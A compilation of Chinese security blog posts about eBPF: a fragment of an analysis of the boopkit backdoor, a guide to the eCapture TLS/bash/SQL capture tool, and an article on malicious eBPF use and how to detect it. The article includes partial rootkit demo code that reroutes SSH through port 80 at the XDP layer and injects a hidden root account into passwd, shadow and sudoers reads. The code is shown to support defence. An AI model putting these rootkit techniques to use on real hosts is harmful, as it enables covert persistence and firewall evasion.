loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 544B jited 310B memlock 4096B map_ids 132,133,135 btf_id 180 222: tracepoint name tcp_bad_csum tag 82cc666e25685b71 gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 744B jited 404B memlock 4096B map_ids 138 btf_id 181 223: tracepoint name tcp_receive_res tag c25930e6076718fc gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 416B jited 227B memlock 4096B map_ids 138 btf_id 181 map 如上,一样的方法。 root@vm-desktop:~# bpftool map show 129: hash name map_buffs flags 0x0 key 8B value 8B max_entries 8192 memlock 131072B btf_id 180 130: hash name map_bytes_read flags 0x0 key 8B value 4B max_entries 8192 memlock 131072B btf_id 180 131: prog_array name map_prog_array flags 0x0 key 4B value 4B max_entries 5 memlock 4096B owner_prog_type tracepoint owner jited btf_id 180 132: hash name map_to_patch flags 0x0 key 8B value 8B max_entries 8192 memlock 131072B btf_id 180 133: ringbuf name rb flags 0x0 key 0B value 0B max_entries 8192 memlock 0B 135: array name pr0be_sa.rodata flags 0x480 key 4B value 24B max_entries 1 memlock 4096B btf_id 180 frozen 136: array name pr0be_sa.bss flags 0x400 key 4B value 20B max_entries 1 memlock 4096B btf_id 180 138: hash name event flags 0x0 key 4B value 32B max_entries 8192 memlock 327680B btf_id 181 139: array name pr0be.bss flags 0x400 key 4B value 20B max_entries 1 memlock 4096B btf_id 181 检测防御 可参考 《Linux中基于eBPF的恶意利用与检测机制》一文。 结束语 当前后门发往外部的TCP通讯是可监控,对网络捕获的实现是libpcap库,特征比较明显,而这个程序作者不停改进中。业界中,有人分享过更隐秘的技术方式,比如在内核态,复用业务的网络包,更改内容发数据包给黑客。躲避了用户态的检查。 这后门虽然不完美,但这只是GitHub开源社区的现状,相信在黑市里,早有隐秘性笔者高很多的后门在使用。笔者再次呼吁,务必加快对eBPF恶意利用的防御检测体系建设。 微信公众号 回复boopkit获取该文章链接。 2022-05-09 4 0
eCapture:无需CA证书抓https网络明文通讯 eCapture介绍 eCapture是一款基于eBPF技术实现的用户态数据捕获工具。不需要CA证书,即可捕获https/tls的通讯明文。 项目在2022年3月中旬创建,一经发布,广受大家喜爱,至今不到两周已经1200多个Star。 作用 不需要CA证书,即可捕获HTTPS/TLS通信数据的明文。 在bash审计场景,可以捕获bash命令。 数据库审计场景,可以捕获mysqld/mariadDB的SQL查询。 官网 代码仓库见:https://github.com/ehids/ecapture ,也可以关注微信公众号「榫卯江湖」获取最新动态。 产品架构 eCapture系统用户态程序使用Golang语言开发,具有良好的系统兼容性,无依赖快速部署,更适合云原生场景。 内核态代码使用C编写,使用clang/llvm编译,生产bpf字节码后,采用go-bindata转化为golang语法文件,之后采用ehids/ebpfmanager类库,调用bpf syscall进行加载、HOOK、map读取。 golang编译后,无其他任何依赖即可运行,兼容linux kernel 4.18以上所有版本。 eBPF加载机制 关于eBPF详细加载机制,可到https://ebpf.io/ 查阅相关原理。 实现原理 如工作原理的图所示,在用户态的加密解密函数中下钩子。 tcpdump(libpcap)是在数据包接收到,XDP处理后,进行clone packet,进行包的复制,发送给用户态进程。二者工作的所在层不一样。 功能介绍 eCapture有三个模块 tls/ssl明文数据捕获 bash命令审计 mysqld数据库审计 第一个功能适用于基于tls/ssl解密需求的运维监控、故障排查、抽样分析场景。 第二个功能适用于安全领域的bash入侵发现场景,这里只是简单的功能,可以在此基础上增加其他功能。 第三个功能适用于数据库审计场景,尤其是做数据安全、数据防泄漏,甚至入侵检测等。同样,可以在此基础上扩充其他功能。 查看其使用说明,如下 cfc4n@vm-desktop:~/ehids/ecapture$ ./bin/ecapture NAME: ecapture - capture text SSL content without CA cert by ebpf hook. USAGE: ecapture [flags] VERSION: 0.1.5-20220325-47edbed COMMANDS: bash capture bash command help Help about any command mysqld56 capture sql queries from mysqld >5.6 . tls alias name:openssl , use to capture tls/ssl text content without CA cert. DESCRIPTION: ecapture是一款无需安装CA证书,即可抓去HTTPS、TLS等明文数据包的工具。 也可以捕获bash的命令,适用于安全审计场景。包括mysqld的数据库审计等。 仓库地址: https://github.com/ehids/ecapture OPTIONS: --debug[=false] enable debug logging -h, --help[=false] help for ecapture --hex[=false] print byte strings as hex encoded strings -p, --pid=0 if target_pid is 0 then we target all pids 其中,有四个全局参数,分别是 --debug , 用于启动调试日志 --help , 查看帮助 --hex ,按照hex模式打印字符,用与查看不可见字符 --pid ,用于针对特定进程进行数据捕获 HOOK机制 eCapture采用eBPF uprobe相关函数进行HOOK,故需要目标用户态函数信息,包含函数符号表(symbol table),函数偏移地址(offset)。 在大部分linux发行版中,使用的二进制可执行文件(ELF)都是包含符号表的;少部分发行版,会去掉ELF中的符号表。那么针对这种场景,就需要用户自行定位目标函数所在ELF/SO中的偏移地址,通过工具的参数来指定。 对于ELF文件,可以将目标类库静态编译到自身,也可以通过动态链接库的方式引用。那么对于这两种形式,eCapture根据不同场景进行自动查找。若查找不到,用户可以通过命令行参数指定。 故eCapture支持HOOK ELF,以及HOOK SO两种模式。会自动分析ELF文件,读取.dynamic和.dynsym等段信息,查找相关链接库名以及函数名、偏移地址。 查找原理如下图: tls/ssl ecapture tls命令用于启动tls/ssl模块,支持了三类tls/ssl加密类库,分别是 openssl ,动态链接库名字为libssl.so gnutls ,动态链接库名字为libgnutls.so nss/nspr ,动态链接库名字为libnspr4.so 在不同的linux发行版中,因为各种原因,会选择不同的类库。比如wget程序,在ubuntu跟centos中就会使用不同的类库。有的是openssl,有的是gnutls,甚至两个库都引入了。 具体情况,你可以使用ldd $ELF_PATH | grep -E "tls|ssl|nspr|nss"来查看一个ELF文件使用类库情况。 cfc4n@vm-desktop:~$ ldd `which wget` |grep -E "tls|ssl|nspr|nss" libssl.so.1.1 => /lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007f50699f6000) 对于firefox、chrome这种进程,需要在程序启动后才能看到tls类库依赖情况,那么,你可以使用sudo pldd $PID | grep -E "tls|ssl|nspr|nss" 来查看 cfc4n@vm-desktop:~$ ps -ef|grep firefox cfc4n 6846 1432 45 17:50 ? 00:00:04 /usr/lib/firefox/firefox -new-window cfc4n@vm-desktop:~$ sudo pldd 6846 |grep -E "tls|ssl|nspr|nss" /usr/lib/firefox/libnspr4.so /usr/lib/firefox/libnssutil3.so /usr/lib/firefox/libnss3.so /usr/lib/firefox/libssl3.so /lib/x86_64-linux-gnu/libnss_files.so.2 /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2 /lib/x86_64-linux-gnu/libnss_dns.so.2 /usr/lib/firefox/libnssckbi.so eCapture的tls模块命令行参数如下,用户可以使用默认配置外,也可以根据自己环境自行指定。 OPTIONS: --curl="" curl or wget file path, use to dectet openssl.so path, default:/usr/bin/curl --firefox="" firefox file path, default: /usr/lib/firefox/firefox. --gnutls="" libgnutls.so file path, will automatically find it from curl default. -h, --help[=false] help for tls --libssl="" libssl.so file path, will automatically find it from curl default. --nspr="" libnspr44.so file path, will automatically find it from curl default. --wget="" wget file path, default: /usr/bin/wget. 同时,使用方法也比较简单,./ecapture tls --hex命令即可。 在linux上,firefox程序中,有很多通讯都使用了/usr/lib/firefox/libnspr4.so,但实际上业务请求是可以通过Socket Thread进程来发送的。可以通过这个特点来过滤,对于chrome程序,相信细心的你,也能搞定。 bash 笔者在安全部门工作,接到过bash审计需求,其实现方法无非是修改系统类库、使用内核模块等技术实现,对系统稳定性有一定风险。基于eBPF技术实现,可以避开这些问题。这里的bash命令的监控,是作为eBPF技术在安全审计场景中的一个探索。 eCapture在实现时首先查找ENV的$SHELL值,作为bash的二进制文件路径进行HOOK。对于bash加载了libreadline.so的场景,也会自动分析,进行符号表查找、offset定位,再进行HOOK。 bash模块的参数有三个,用户可以自定义bash、readlineso的路径。 OPTIONS: --bash="" $SHELL file path, eg: /bin/bash , will automatically find it from $ENV default. -h, --help[=false] help for bash --readlineso="" readline.so file path, will automatically find it from $BASH_PATH default. mysql/mariadb 与bash模块一样,也是作为数据库审计的一个探索。笔者环境为ubuntu 21.04,mysqld也因为协议关系,使用了衍生的MariadDB,用户也可以根据自己实际场景,使用命令行参数进行指定。 mysqld模块,核心原理是HOOK了dispatch_command函数, 第一个参数为CMD类型,值为COM_QUERY时,为查询场景,即审计需求的查询类型。 第二个参数是THD的结构体,在这里我们用不到。 第三个是查询的SQL语句 第四个参数是SQL语句的长度, // https://github.com/MariaDB/server/blob/b5852ffbeebc3000982988383daeefb0549e058a/sql/sql_parse.h#L112 dispatch_command_return dispatch_command(enum enum_server_command command, THD *thd, char* packet, uint packet_length, bool blocking = true); mysqld审计模块参数如下: OPTIONS: -f, --funcname="" function name to hook -h, --help[=false] help for mysqld56 -m, --mysqld="/usr/sbin/mariadbd" mysqld binary file path, use to hook --offset=0 0x710410 其中,--mysqld是用来指定mysqld的路径。 mysqld二进制程序符号表里虽然有dispatch_command信息,但dispatch_command这个函数名每次编译都是变化的,故不能写死。 eCapture的查找方式是读取mysqld二进制的.dynamic段信息,正则语法\w+dispatch_command\w+去匹配所有符号信息,找到其函数名、偏移地址,再使用。 你也可以通过objdump命令来查找,再通过命令行参数自行指定funcname。 mariadbd version : 10.5.13-MariaDB-0ubuntu0.21.04.1 objdump -T /usr/sbin/mariadbd |grep dispatch_command 0000000000710410 g DF .text 0000000000002f35 Base _Z16dispatch_command19enum_server_commandP3THDPcjbb 即offset为0x710410,函数名为_Z16dispatch_command19enum_server_commandP3THDPcjbb。 使用 下载二进制包 eCapture发布在https://github.com/ehids/ecapture/releases ,目前最新版为eCapture v0.1.5。 可在linux kernel 4.18以上版本运行。 二进制包地址: https://github.com/ehids/ecapture/releases/download/v0.1.5/ecapture_v0.1.5.zip 国内加速地址: https://github.do/https://github.com/ehids/ecapture/releases/download/v0.1.5/ecapture_v0.1.5.zip 自行编译 代码仓库在https://github.com/ehids/ecapture ,你可以自行修改源码编译。 演示视频 腾讯视频: B站: https://www.bilibili.com/video/BV1si4y1Q74a Github仓库 2022-03-27 +3 7 0
Linux中基于eBPF的恶意利用与检测机制 首发 本文首发与【美团安全应急响应中心】微信公众号。 前言 近几年来,云原生领域飞速发展,k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由,都给内核带来了新的挑战。 系统内核在面对复杂性不断增长,性能、可扩展性新需求的同时,还需要保障系统稳定可用,这是极其困难的事情。 eBPF出现,以较小的子系统改动,保障了系统内核的稳定。具备实时动态加载的特性,将业务逻辑加载到内核,实现热更新的动态执行。 eBPF技术的出现,衍生新业务场景的同时,也带来了安全威胁。 现状分析 在解决很多技术难题的同时,eBPF技术的出现也带来了新的恶意利用,从一些海外资料和国内资料中可以看到,目前关于eBPF技术恶意利用的现状如下所示: 海外资料 Black Hat 在Black Hat 2021的峰会中,Datadog工程师Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》 介绍了eBPF的恶意利用,如何构建一个rootkit,入侵者会如何利用。 并把代码放在https://github.com/Gui774ume/ebpfkit 上,包括检测防御代码。 DEFCON 在DEF CON29峰会上,安全研究员Pat Hogan也分享了一篇关于eBPF的恶意利用案例:《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》 ,介绍了eBFP rootkit的应用场景,包括网络、运行时等,以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf 。 国内资料 国内在eBPF恶意利用的资料较少,相关技术分享也少,它的危害没有得到国内同行的注意,势必影响到国内公司在网络安全防御体系的建设,导致落后于国外,给企业安全甚至国家安全带来较大风险。 笔者作为防御体系建设方,有责任带领大家更好的认识这种恶意利用,分享检测防御经验,加固网络安全产品,为国内信息安全建设贡献一份力。 eBPF技术恶意利用的攻击原理 知己知彼才能百战不殆,要想做好防御,必须要了解他的攻击原理,我们一起来看下他的rootkit是如何设计的,功能有哪些? 从eBPF的功能来看,提供了 网络 监控 观测 跟踪&性能分析 安全 等几个领域功能。 在网络领域,Cilium等云原生公司做了很多网络层的产品,在实现网格管理的同时,也做了响应的网络层面安全策略,尤其是网络编排领域,表现尤为亮眼,逐步代替iptables等产品,大有一统江山的趋势。 在监控、观测等领域也有很多产品。尤其是运行时安全领域,Datadog 、Falco、Google等公司,都推出了相应的产品。笔者在博客上也有过相关产品源码分析的分享。 我们回顾一下eBPF技术的hook点: 从图中可以看出,eBPF的hook点功能包括以下几部分 可以在Storage、Network等与内核交互之前; 也可以在内核中的功能模块交互之间; 又可以在内核态与用户态交互之间; 更可以在用户态进程空间。 eBPF的功能覆盖XDP、TC、probe、socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知这些行为。 笔者基于eBPF的功能函数,从业务场景来看,网络、监控、观测类的功能促进了云原生领域的产品发展;跟踪/性能分析、安全类功能,加快了安全防御、审计类产品演进;而安全领域的恶意利用,也会成为黑客关注的方向。在这里,笔者与大家探讨一下新的威胁与防御思路, 从数据流所处阶段来看,笔者划分为两部分,接下来一起来讨论恶意利用、风险危害与防御思路。 Linux网络层恶意利用 Linux系统运行时恶意利用 网络层恶意利用 以一个SSH、WEB服务的服务器为例,在IDC常见网络访问策略中,开放公网web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP,或者只开放内网端口访问。 假设这台服务器已经被黑客入侵,黑客需要留下一个后门,且需要一个隐藏、可靠的网络链路作为后门通道,那么在eBPF技术上,会如何实现呢? XDP/TC层修改TCP包 为了让后门隐藏的更好,最好是不开进程,不监听端口(当前部分我们只讨论网络层隐藏)。而eBPF技术在XDP、TC、socket等内核层的功能,能够实现流量信息修改,这些功能常被应用在L3、L4的网络负载均衡上。比如cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后,更改了TCP包的目标IP,系统内核再将该数据包转发出去。 按照XDP与TC在Linux内核中,处理ingress与egress的位置,可以更准确地确定hook点。 XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。 TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP BPF_PROG_TYPE_XDP的功能外,还可以对egress起作用。 前者最常用的场景就是做网络防火墙,用于网络流量清洗,效率比传统防火墙的高很多。 后者常用于云原生场景下,容器、POD的网络监控、安全访问控制等。在这个例子中,要多进出流量都做调整,故两个hook点都需要有。 同样,在XDP等阶段的hook,在这里做相关包逻辑处理,能更好的将通讯包隐藏,tcpdump等工具都抓不到。 控制链路 在后门场景里,可以在同样的位置,像eBPF的负载均衡一样,修改目标端口,从web nginx 的80改为SSHD的22,就可以实现网络数据的透传,绕开防火墙以及网络访问限制。 认证密钥 由于后门rootkit是在XDP\TC层工作,为了尽可能的简单,认证密钥最好只使用链路层、网络层、传输层的数据,即MAC信息、IP五元组之类。IP经常变动,MAC地址大概率是唯一的,以及设定一个固定的端口,这样更加唯一,作为rootkit的认证密钥即可实现。(需要client发起连接时,指定客户端的TCP端口) eBPF uprobe与eBPF map联动 对于后门rootkit的密钥更新,利用eBPF也很好实现。比如,在nginx的场景中,uprobe实现hook http的函数,获取url参数中特定字符串,再将字符串保存到eBPF map里,就实现了密钥更新。 XDP/TC层的eBPF rootkit执行时,读取eBPF map里的密钥,进行比较运算。 实现流程 举个XDP处理ingress的例子 SEC("xdp/ingress") int xdp_ingress(struct xdp_md *ctx) { struct cursor c; struct pkt_ctx_t pkt; //判断是否为SSHD的协议,不是则直接放行 if (!(不是SSHD协议(&c))) { return XDP_PASS; } //判断rootkit是否匹配,网卡信息与来源端口是否匹配 hack_mac[] = "读取bpf map配置。" if(密钥不匹配) { return XDP_PASS; } // 读取map,是否已经存在该client信息 struct netinfo client_key = {}; __builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN); struct netinfo *client_value; client_value = bpf_map_lookup_elem(&ingress_client, &client_key); // 如果没找到伪装信息,则自己组装 if(!client_value) { __builtin_memset(&client_value, 0, sizeof(client_value)); } else { bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY); } // 伪装mac局域网mac信息 pkt.eth->h_source[0] = 0x00; ... // 替换伪装ip来源 ,客户端端口不变 // 更改目标端口 pkt.tcp->dest = htons(FACK_PORT); //22 //计算TCP SUM layer 4 ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum); pkt.tcp->check = csum; //写入已伪装的map,用于TC处理egress的原mac、IP信息还原。 return XDP_PASS; } 比较简单的demo,即可实现 ingtrss侧TCP数据包的伪装。同样,TC层处理egress方向的数据包时,只需要对伪装包的原始信息作还原即可。整个流程如下图: 这样,rootkit的通讯链路并不影响正常用户访问,也没有对原系统做改动,隐蔽性特别好。 视频演示 笔者准备了三台主机测试: 入侵者:cnxct-mt2,IP为172.16.71.1。 普通用户:vm-ubuntu,IP为172.16.71.3。 被入侵服务器:vm-server,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。 危害 这个rootkit不主动创建socket,借用其中一个网络发送包,把消息送达给后门使用者。 对系统影响来说,只是一个不起眼的小网络响应。 在万千HTTP包里,根本定位不到。 iptables防火墙绕过 :利用对外开放的80端口作为通讯隧道; webIDS绕过:流量到达服务器后,并不传递给nginx; NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密; HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录? linux系统运行时恶意利用 云原生生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些服务的运行环境,也给攻击者留下一个完美的发挥空间。 实现流程 回顾eBPF的hook点,作用在syscall的kprobe、tracepoint事件类型,倘若用在后门rootkit场景,是十分可怕的。比如,修改内核态返回给用户态的数据,拦截阻断用户态行为等为所欲为。而更可怕的是,常见的HIDS都是基于内核态或者用户态做行为监控,这恰恰就绕开了大部分HIDS的监控,且不产生任何日志,简直细思极恐、不寒而栗。 tracepoint事件类型hook 在SSHD应用中,当用户登录时,会读取/etc/passwd等文件。用户态sshd程序,调用open、read等系统调用,让内核去硬件磁盘上检索数据,再返回数据给sshd进程。 用户态生成payload 用户态实现/etc/passwd、/etc/shadown等文件payload的生成,并通过eBPF的RewriteConstants机制,完成对elf .rodata的字段值替换。 import "github.com/ehids/ebpfmanager" // 通过elf的常量替换方式传递数据 func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor { var username = RandString(9) var password = RandString(9) var s = RandString(8) salt := []byte(fmt.Sprintf("$6$%s", s)) // use salt to hash user-supplied password c := sha512_crypt.New() hash, err := c.Generate([]byte(password), salt) var m = map[string]interface{}{} res := make([]byte, PAYLOAD_LEN) var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username) copy(res, payload) m["payload"] = res m["payload_len"] = uint32(len(payload)) // 生成passwd字符串 var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username) // 生成shadow字符串 var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash) // eBPF RewriteContants var editor = []manager.ConstantEditor{ { Name: "payload", Value: m["payload"], FailOnMissing: true, }, { Name: "payload_len", Value: m["payload_len"], FailOnMissing: true, }, } return editor } func (this *MBPFContainerEscape) setupManagers() { this.bpfManager = &manager.Manager{ Probes: []*manager.Probe{ { Section: "tracepoint/syscalls/sys_enter_openat", EbpfFuncName: "handle_openat_enter", AttachToFuncName: "sys_enter_openat", }, ... }, Maps: []*manager.Map{ { Name: "events", }, }, } this.bpfManagerOptions = manager.Options{ ... // 填充 RewriteContants 对应map ConstantEditors: this.constantEditor(), } } 内核态使用payload const volatile int payload_len = 0; ... const volatile char payload_shadow[MAX_PAYLOAD_LEN]; SEC("tracepoint/syscalls/sys_exit_read") int handle_read_exit(struct trace_event_raw_sys_exit *ctx) { // 判断是否为rootkit行为,是否需要加载payload ... long int read_size = ctx->ret; // 判断原buff长度是否小于payload if (read_size < payload_len) { return 0; } // 判断文件类型,匹配追加相应payload switch (pbuff_addr->file_type) { case FILE_TYPE_PASSWD: // 覆盖payload到buf,不足部分使用原buff内容 { bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr); for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) { if (i >= payload_passwd_len) { local_buff[i] = ' '; } else { local_buff[i] = payload_passwd[i]; } } } break; case FILE_TYPE_SHADOW: // 覆盖 shadow文件 ... break; case FILE_TYPE_SUDOERS: //覆盖sudoers ... break; default: return 0; break; } // 将payload内存写入到buffer ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN); // 发送事件到用户态 return 0; } 按照如上demo rootkit的设计,即完成了随机用户名密码的root账号添加。在鉴权认证上,也可以配合eBPF网络层恶意利用的demo,利用eBPF map交互,实现相应鉴权。 但rootkit本身并没有更改硬盘上文件,不产生风险行为。并且,只针对特定进程的做覆盖,隐蔽性更好。整个流程如下图: 不管是在物理机上,还是给了root+BPF权限的容器上,都一样生效。 视频演示 危害 云原生场景下,赋予SYS_ADMIN的权限的容器场景很多,若配合近期的JAVA log4j漏洞,直接击穿容器,拿到宿主机权限,是不是很可怕? 然而,比这可怕的是这种rootkit本身并没有产生用户态行为日志,也没有改文件,系统里查不到这个用户信息。整个后门行为不产生数据,让大部分HIDS失灵。 综述 从笔者演示的这两个场景可以来看,大家已经知道eBPF技术被恶意利用的危害。其实,这只是eBPF技术的冰山一角,在kproeb\uprobe上也有很多功能,比如实现进程隐藏,无痕内网扫描等等。相关恶意利用可参考Bad BPF - Warping reality using eBPF一文。 若入侵者精心设计rootkit,实现进程隐藏等,让rootkit更加隐蔽,按照本文的思路,实现一个幽灵般的后门,想想就让人后怕。 常规的主机安全防御产品一般用netlink linux kernel module等技术实现进程创建、网络通讯等行为感知,而eBPF的hook点可以比这些技术更加深,比他们执行更早,意味着常规HIDS并不能感知发现他们。 传统rootkit,采用hook api方法,替换原来函数,导致执行函数调用地址发生变化,已有成熟检测机制,eBPF hook不同于传统rootkit ,函数调用堆栈不变。这给检测带来很大的麻烦。 那面对这种后门,该如何检测防御呢? 检测防御 从事件发生的过程来看,分为三个阶段: 运行前 运行时 运行后 运行前 在恶意程序运行前,减少攻击面,这个思路是更古不变的。 环境限制 不管是宿主机还是容器,都进行权限收敛,能不赋予SYS_ADMIN、CAP_BPF等权限,就禁止掉。若一定要开放这个权限,那么只能放到运行时的检测环节了。 seccomp限制 在容器启动时,修改默认seccomp.json,禁止bpf系统调用,防止容器逃逸,注意此方法对于Privileged特权容器无效。 内核编译参数限制 修改函数返回值做运行时防护时,需要用到bpf_override_return,该函数需要内核开启CONFIG_BPF_KPROBE_PVERRIDE编译参数,因此非特殊情况不要开启该编译参数。 非特权用户指令 大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外,比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型,就不需要root。但需要读取系统配置开关。 //https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240 if (type != BPF_PROG_TYPE_SOCKET_FILTER && type != BPF_PROG_TYPE_CGROUP_SKB && !bpf_capable()) return -EPERM; 开关确认 在/proc/sys/kernel/unprivileged_bpf_disabled里,可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/ 值为0表示允许非特权用户调用bpf 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1 特征检查 有人提议,在内核加载bpf字节码时,进行签名验证,以便达到只加载安全签名的bpf字节码。 lwn.net中也列出这个话题:BPF字节码签名计划 。 但很多人也提出 反对意见 ,认为bpf模块这几年的发展,过于抽象化,越来越复杂,不希望加入额外的功能,让bpf更加不稳定。而是改变思路,让字节码加载时签名,改为「执行bpf字节码加载的用户态程序进行签名」,这个是已有的内核功能,不会增加系统复杂性。 笔者认为,这确实可以缓解大部分bpf字节码加载的问题。但使用系统原生命令(tc\ip\bpftool等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o 运行检查 大部分eBPF程序在重启后不存在了,所以,入侵者会尽可能让后门自启动。对于linux系统的自启动、crontab等计划任务做好检查。 用户态程序可以以各种形式存在,ELF可执行文件、ELF so动态链接库都可以。在执行时,必定会调用BPF syscall来加载BPF 字节码。 若只是对可执行ELF做检测,还不够准确。 运行时 监控 linux系统中,所有的程序运行,都必须进行系统调用,eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。 并且,所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么,在这个必经之路进行拦截监控,是最好的方案。 SEC("tracepoint/syscalls/sys_enter_bpf") int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) { struct bpf_context_t *bpf_context = make_event(); if (!bpf_context) return 0; bpf_context->cmd = args->cmd; get_common_proc(&bpf_context->procinfo); send_event(args, bpf_context); return 0; } 这里,我们开源的ehids项目做了一个bpf syscall检测的例子,大家可以fork了解。仓库见https://github.com/ehids/ehids-agent 当然,细心的读者会有疑问,假如入侵者的后门执行比较早,对这个系统调用进行欺骗,那怎么办呢? 这是个好问题,我们放到运行后的溯源章节讨论。但对于大部分场景,HIDS防御产品还是可以做到第一时间启动的。 审计&筛查 上面我们讨论了对bpf系统调用进行监控,在云原生场景中,基于eBPF实现的网络产品会频繁调用,会产生大量的事件日志,给运营同学带来较大压力。对行为做精简、做精确筛选就成为接下来的目标。 根据程序白名单筛选 数据过滤,是解决大量数据压力的方案。在一些BPF应用的业务服务器上,本身业务行为会产生大量调用,会给安全预警带来较大审计压力。对于已知的进程,可以根据进程特征过滤。 获取当前进程PID、COMM等特征,根据用户态写入eBPF map的配置,决定是否上报、是否拦截。 也可以在用户态做过滤,但内核态效率更高。如果是做拦截,那必须要在内核态实现。 参考saBPF产品设计思路 ,用eBPF实现LSM HOOK点的钩子程序,完成相关审计调用。https://github.com/saBPF-project/sabpf-kernel 项目代码还只是demo,思路可以借鉴。 根据SYSCALL类型筛选 在BPF syscall里,子命令的功能包含MAP、PROG等多种类型的操作bpf() subcommand reference 里有详细的读写API。在实际的业务场景里,写的安全风险比读大。所以,我们可以过滤掉读操作,只上报、审计写操作。 比如: MAP的创建BPF_MAP_CREATE PROG加载BPF_PROG_LOAD BPF_OBJ_PIN BPF_PROG_ATTACH BPF_BTF_LOAD BPF_MAP_UPDATE_BATCH 尤其是有BPF需求的业务场景,可以更好的审计日志。 运行后 问个问题,eBPF用户态程序与内核态程序交互,加载bpf字节码后,能退出吗? 退出后,内核hook的bpf函数还工作吗?创建的map是否还存在? 后门程序为了保证更好的隐蔽性,会如何选择? 要回答这个问题,不得不提BPF程序的加载机制,BPF对象生命周期。 文件描述符与引用计数器 用户态程序通过文件描述符FD来访问BPF对象(progs、maps、调试信息),每个对象都有一个引用计数器。用户态打开、读取相应FD,对应计数器会增加。若FD关闭,引用计数器减少,当refcnt为0时,内核会释放BPF对象,那么这个BPF对象将不在工作。 在安全场景里,用户态的后门进程若退出后,后门的eBPF程序也随之退出。在做安全检查时,这可以作为一个有利特征,查看进程列表中是否包含可疑进程。 但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看,只需要保证refcnt大于0,就可以让BPF对象存活,让后门进程持续工作了。其实在BPF的程序类型中,像XDP、TC和基于CGROUP的钩子是全局的,不会因为用户态程序退出而退出。相应FD会由内核维护,保证refcnt计数器不为零,从而继续工作。 溯源 在安全工程师视角里,就需要根据不同场景作不同的溯源策略。笔者给的溯源方式中,都使用了eBPF的相关接口,意味着,如果恶意程序比检查工具运行的早,那么对于结果存在伪造的可能。 短生命周期 BPF程序类型代表 k[ret]probe u[ret]probe tracepoint raw_tracepoint perf_event socket filters so_reuseport 特点是基于FD管理,内核自动清理,对系统稳定性更好。这种程序类型的后门,在排查时特征明显,就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。 bpftool工具 eBPF程序列表 命令bpftool prog show,以及bpftool prog help查看更多参数。 结果中,可以看到当前系统正在运行的BPF程序、关联的BPF map ID,以及对应的进程信息等。 另外,细心的你可能发现,结果中,XDP数据中并没有进程ID信息,稍后讨论。 eBPF map列表 命令bpftool map show,以及bpftool map help查看更多参数。 通过查看map信息,可以与程序信息作辅助矫正。并且,可以导出map内数据用来识别恶意进程行为。这部分我们在取证章节讨论。 bpflist-bpfcc bpflist-bpfcc -vv命令可以看到当前服务器运行的部分BPF程序列表。以笔者测试环境为例 root@vmubuntu:/home/cfc4n/project/xdp# bpflist-bpfcc -vv open kprobes: open uprobes: PID COMM TYPE COUNT 1 systemd prog 8 10444 ehids map 4 10444 ehids prog 5 可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。 长生命周期: BPF程序类型代表 XDP TC LWT CGROUP 上面提到以ip命令加载bpf字节码的场景,常见BPF工具查询不到或信息缺失。其背后原因,需要从他的工作原理讲起。 ip命令加载bpf原理 BPF对象的生命周期使用引用计时器管理,这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间,之后再由内核空间维持。 以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。 IP命令的参数中包含bpf字节码文件名,IP进程打开.o字节码的fd,通过NETLINK发IFLA_XDP类型消息(子类型IFLA_XDP_FD)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的IP进程退出后,BPF程序依旧工作。 内核源码见:https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237 笔者做了抓包验证,IP关联XDP程序类型: 17:53:22.553708 sendmsg(3, { 